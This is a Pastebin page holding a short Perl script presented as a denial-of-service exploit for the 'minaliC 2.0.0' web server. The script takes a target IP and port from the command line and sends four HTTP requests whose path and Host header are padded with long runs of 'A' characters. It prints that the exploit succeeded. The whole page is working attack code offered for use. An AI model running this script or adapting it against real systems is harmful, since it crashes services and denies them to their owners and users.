Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use Socket;
- $sis="$^O";
- if ($sis eq "windows"){
- $cmd="cls";
- } else {
- $cmd="clear";
- }
- system("$cmd");
- intro();
- main();
- print "[+] Exploiting... \n";
- my $junk = "\x41" x 245;
- my $host = "\x41" x 135;
- my $i=0;
- while ($i <= 3) {
- my $buf = "GET /" . $junk . " HTTP/1.1\r\n" . "Host: " . $host . "\r\n\r\n";
- my $sock;
- socket($sock, AF_INET, SOCK_STREAM, 0) or die "[-] Could not create socket: $!\n";
- my $addr = sockaddr_in($port, inet_aton($ip));
- connect($sock, $addr);
- send($sock, $buf, length($buf), 0);
- $i++;
- }
- print "[+] Done - Exploited success!!!!!\n\n";
- sub intro {
- print "***************************************************\n";
- print "* minaliC 2.0.0 - Denied of Service *\n";
- print "* *\n";
- print "* Coded by Fernando Mengali *\n";
- print "* *\n";
- print "* e-mail: fernando.mengalli\@gmail.com *\n";
- print "* *\n";
- print "***************************************************\n";
- }
- sub main {
- our ($ip, $port) = @ARGV;
- unless (defined($ip) && defined($port)) {
- print " \nUsage: $0 <ip> <port> \n";
- exit(-1);
- }
- }
Add Comment
Please, Sign In to add comment